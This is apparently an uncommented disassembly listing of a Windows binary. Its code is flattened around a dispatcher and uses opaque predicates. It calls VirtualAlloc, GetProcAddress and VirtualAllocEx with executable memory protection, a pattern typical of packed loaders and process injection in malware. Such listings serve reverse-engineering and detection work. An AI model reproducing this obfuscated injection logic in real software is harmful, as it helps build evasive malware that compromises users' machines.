mov eax, 0x3ae74c35
jmp 0x401650
mov eax, 0xfd6d235f
jmp 0x401650
mov eax, dword [ebp - 0x43878]
mov eax, 0x76e6a285
jmp 0x401650
mov eax, 0xc466a9cd
jmp 0x401650
mov eax, dword [ebp - 0x4385c]
mov ecx, dword [ebp - 0x43970]
mov dword [eax], ecx
mov ecx, 0xf7e66479
mov eax, dword [ebp - 0x4385c]
cmp dword [eax], 0
mov eax, 0xfb386cc3
cmove eax, ecx
jmp 0x401650
mov eax, 0x4404aabf
jmp 0x401650
push 4
push 0x3000
push dword [ebp - 0x43910]
push dword [ebp - 0x438c8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x43814]
mov dword [ecx], eax
mov ecx, 0x91cb9758
mov eax, dword [ebp - 0x43838]
cmp dword [eax + 4], 0
mov eax, 0x16524407
cmove eax, ecx
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xc3116e84
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x75f08fed
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x438e0]
cmovge eax, ebx
movzx ecx, word [ecx]
mov edx, dword [ebp - 0x438dc]
cmp edx, ecx
setl byte [ebp - 0x43867]
jmp 0x401650
mov eax, 0xf135d0ea
jmp 0x401650
mov eax, 0x65a4c804
jmp 0x401650
mov dword [ebp - 0x43824], 0
mov eax, 0x30b3d450
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x3bf0015
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9cfd7771
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401650
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5801f3a9
jmp 0x401650
mov eax, dword [ebp - 0x43830]
mov ecx, dword [ebp - 0x4395c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x43834]
mov eax, dword [ebp - 0x4387c]
mov eax, dword [ebp - 0x43894]
mov eax, 0x8fb56dc7
jmp 0x401650
mov eax, dword [ebp - 0x43934]
mov ecx, dword [ebp - 0x4382c]
inc eax
mov dword [ecx], eax
mov eax, 0x41d9eece
jmp 0x401650
mov eax, 0x532decc3
jmp 0x401650
mov eax, dword [ebp - 0x43840]
mov eax, dword [ebp - 0x43840]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4381c]
mov eax, dword [ebp - 0x43828]
mov eax, dword [eax]
mov dword [ebp - 0x43900], eax
mov eax, 0x619248a4
jmp 0x401650
mov eax, dword [ebp - 0x43820]
mov eax, dword [eax]
mov dword [ebp - 0x43998], eax
mov eax, 0x71b908ca
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xb233832
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7db0c0fa
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43820]
jmp 0x40558a
mov eax, dword [0x4a83f0]
mov edi, 0x348577dc
mov ebx, 0xb0bb9e1d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb0bb9e1d
jmp 0x40502c
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4384c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x43818]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x43898]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43850]
mov eax, dword [ebp - 0x4384c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43818]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x4385c]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x43850]
mov ebx, 0x7a3748d4
mov edi, 0x204cc911
mov dword [ecx], eax
mov eax, dword [ebp - 0x43850]
cmp dword [eax], 0
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
setne byte [ebp - 0x4386a]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x204cc911
jmp 0x401633
mov eax, dword [ebp - 0x4383c]
mov eax, 0xe7c191fd
jmp 0x401650
cmp byte [ebp - 0x4386a], 0
mov eax, 0x4fb65dbe
mov ecx, 0x3494cc2b
cmovne eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43828]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4382c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x43928], eax
mov eax, dword [ebp - 0x43828]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4382c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
lea ecx, [ebp - 0x43810]
add eax, ecx
mov dword [ebp - 0x4392c], eax
mov eax, dword [ebp - 0x43828]
mov eax, dword [eax]
mov dword [ebp - 0x43930], eax
mov eax, 0x9695309b
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x6b1a21e9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1f08f14a
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43834]
cmovge ecx, edx
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x43954], eax
mov eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov dword [ebp - 0x43938], eax
mov eax, 0x3a628eec
jmp 0x401650
mov eax, dword [ebp - 0x43924]
push 0x40
push 0x3000
push dword [ebp - 0x43920]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x438b4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x438b4]
mov eax, 0x16524407
jmp 0x401650
mov eax, 0xe4e2e0a9
jmp 0x401650
mov eax, 0x1cad5b93
jmp 0x401650
mov eax, 0xddc8c138
jmp 0x401650
mov eax, dword [ebp - 0x4394c]
movzx eax, word [eax]
mov word [ebp - 0x438aa], ax
mov eax, 0x93c8b487
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xbcbbee43
mov edi, 0x6c90a2ea
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6c90a2ea
jmp 0x401633
cmp eax, 0xabb68d72
jne 0x401650
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00439e50
mov eax, dword [ebp - 0x438c4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret